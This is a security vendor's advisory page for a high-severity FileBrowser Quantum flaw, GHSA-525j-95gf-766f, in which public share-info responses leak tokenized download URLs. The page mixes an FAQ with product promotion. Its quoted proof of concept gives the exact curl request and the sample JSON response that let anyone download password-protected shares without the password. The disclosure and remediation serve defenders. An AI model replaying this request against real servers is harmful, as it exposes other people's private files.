How severe is GHSA-525j-95gf-766f?

GHSA-525j-95gf-766f has a CVSS score of 7.5/10, rated HIGH. Immediate patching is strongly recommended.

Which packages are affected by GHSA-525j-95gf-766f?

GHSA-525j-95gf-766f affects the following packages: github.com/gtsteffaniak/filebrowser/backend (Go). Ecosystems affected: Go.

How do I fix GHSA-525j-95gf-766f?

Update github.com/gtsteffaniak/filebrowser/backend to 0.0.0-20260307130210-09713b32a5f6 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-525j-95gf-766f is resolved across your whole dependency graph.

How do I detect GHSA-525j-95gf-766f in my Go dependencies?

Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/gtsteffaniak/filebrowser/backend. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

How do I mitigate GHSA-525j-95gf-766f if there is no patch (or I can't update yet)?

If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

How does O3 Security protect against GHSA-525j-95gf-766f?

O3 pinpoints whether GHSA-525j-95gf-766f is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Is GHSA-525j-95gf-766f actively exploited in the wild?

No public exploit code has been indexed for GHSA-525j-95gf-766f yet. This does not mean the vulnerability cannot be exploited — absence of public exploits does not imply safety. Apply the recommended fix and use O3 Security to monitor your exposure.

What is the EPSS score for GHSA-525j-95gf-766f?

GHSA-525j-95gf-766f has an EPSS (Exploit Prediction Scoring System) score of 0.5%, placing it in the 41th percentile of all CVEs. EPSS is maintained by FIRST.org and estimates the probability that a vulnerability will be exploited in the wild within the next 30 days. This score indicates relatively lower exploitation probability, though the CVSS severity should still guide your patching priority.

What type of vulnerability is GHSA-525j-95gf-766f?

GHSA-525j-95gf-766f is classified as Information Exposure (CWE-200), Missing Authentication (CWE-306), CWE-602 (CWE-602). These weakness types describe the underlying flaw category, which helps determine the potential impact and the right class of mitigation.

When was GHSA-525j-95gf-766f published, and has it been updated?

GHSA-525j-95gf-766f was published on March 9, 2026 and was last updated on May 5, 2026. Advisory data evolves as severity scores, affected ranges, and exploit intelligence are revised — always check the latest version of the advisory before acting.

🐹 Go

GHSA-525j-95gf-766f

HIGH

FileBrowser Quantum: Password-Protected Share Bypass via /public/api/share/info

Also known asCVE-2026-30933GO-2026-4659

Published

Mar 9, 2026

Updated

May 5, 2026

Affected

1 pkg

Patched

1 / 1

Exploits

None indexed

EPSS Exploitation Probability

via FIRST.org ↗

0.5%probability of exploitation in next 30 days

Lower Risk41th percentile+0.44%

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

1 pkg affected

🐹github.com/gtsteffaniak/filebrowser/backend

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The remediation for CVE-2026-27611 appears incomplete. Password protected shares still disclose tokenized downloadURL via /public/api/share/info in docker image gtstef/filebrowser:1.3.1-webdav-2.

Details

The issue stems from two flaws:

Tokenized download URLs are written into the persistent share model

backend/http/share.go
convertToFrontendShareResponse(line 63)
s.DownloadURL = getShareURL(r, s.Hash, true, s.Token)

The public endpoint:

GET /public/api/share/info
returns shareLink.CommonShare without clearing DownloadURL.

Since Token is set for password-protected shares, and getShareURL(..., true, token) embeds it as a query parameter, the public API discloses a valid bearer download capability.

The previous patch removed token generation in one handler but did not address the persisted DownloadURL values/Public reflection of existing DownloadURL

PoC

Create a password protected share as an authenticated user
Copy the public share URL (the clipboard WITHOUT an arrow)
http://yourdomain/public/share/yoursharedhash
Example:
http://yourdomain/public/share/2EBGbXgXg5dpw-nK0RG6vw

Query the public share endpoint via curl request:
curl 'http://yourdomain/public/api/share/info?hash=(your-share-hash)' -H 'Accept: */*'
Example:
curl 'http://yourdomain/public/api/share/info?hash=2EBGbXgXg5dpw-nK0RG6vw' -H 'Accept: */*'

Response includes:

{
    "shareTheme": "default",
    "title": "Shared files - test.md",
    "description": "A share has been sent to you to view or download.",
    "disableSidebar": false,
    "downloadURL": "http://yourdomain/public/api/resources/download?hash=2EBGbXgXg5dpw-nK0RG6vw\u0026token=EGGYjfyMgqlqknDAIjXekI3DXJ40Nxht.5-q3gnZVbeJ1KYTc-gLb04N6smp-AH2-d4AUFLXgQ6I%3D",
    "shareURL": "http://yourdomain/public/share/2EBGbXgXg5dpw-nK0RG6vw",
    "enforceDarkLightMode": "default",
    "viewMode": "normal",
    "shareType": "normal",
    "sidebarLinks": [
        {
            "name": "Share QR Code and Info",
            "category": "shareInfo",
            "target": "#",
            "icon": "qr_code"
        },
        {
            "name": "Download",
            "category": "download",
            "target": "#",
            "icon": "download"
        },
        {
            "name": "sourceLocation",
            "category": "custom",
            "target": "/srv/test.md",
            "icon": ""
        }
    ],
    "hasPassword": true,
    "disableLoginOption": false,
    "sourceURL": "/srv/test.md"
}

Note the response "hasPassword": true and downloadURL includes token= parameter

Take the downloadURL(seen in json data response) and replace \u0026 with & and paste link into Incognito or private browser to ensure cookies are not interfering
Example: http://yourdomain/public/api/resources/download?hash=2EBGbXgXg5dpw-nK0RG6vw&token=EGGYjfyMgqlqknDAIjXekI3DXJ40Nxht.5-q3gnZVbeJ1KYTc-gLb04N6smp-AH2-d4AUFLXgQ6I%3D

Browser downloads file immediately without requiring password

Impact

An unauthenticated attacker can retrieve password protected shared files without the password. Results in authentication bypass, unauthorized file access and confidentiality compromise

Recommended Remediation

Sanitize DownloadURL in public share info responses via commonShare.DownloadURL = "" before returning the json response in shareInfoHandler method located in backend/share.go

Structural fix, only generate tokenized URLs after successful password validation

Affected Packages

1 total 1 fixed

Ecosystem	Package	Vulnerable range	Fix
🐹Go	`github.com/gtsteffaniak/filebrowser/backend`	all versions	0.0.0-20260307130210-09713b32a5f6

Detection & mitigation playbook

Open-source dependency

Detect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/gtsteffaniak/filebrowser/backend. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update github.com/gtsteffaniak/filebrowser/backend to 0.0.0-20260307130210-09713b32a5f6 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-525j-95gf-766f is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-525j-95gf-766f is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-525j-95gf-766f. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary The remediation for CVE-2026-27611 appears incomplete. Password protected shares still disclose tokenized downloadURL via /public/api/share/info in docker image gtstef/filebrowser:1.3.1-webdav-2. ### Details The issue stems from two flaws: 1. Tokenized download URLs are written into the persistent share model ``` backend/http/share.go convertToFrontendShareResponse(line 63) s.DownloadURL = getShareURL(r, s.Hash, true, s.Token) ``` 2. The public endpoint: ``` GET /public/api/share/info returns shareLink.CommonShare without clearing DownloadURL. ``` Since Token is set for passw

O3 Security · Impact-Aware SCA

Is GHSA-525j-95gf-766f in your dependencies?

O3 detects GHSA-525j-95gf-766f across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.

Scan my dependencies How O3 SCA works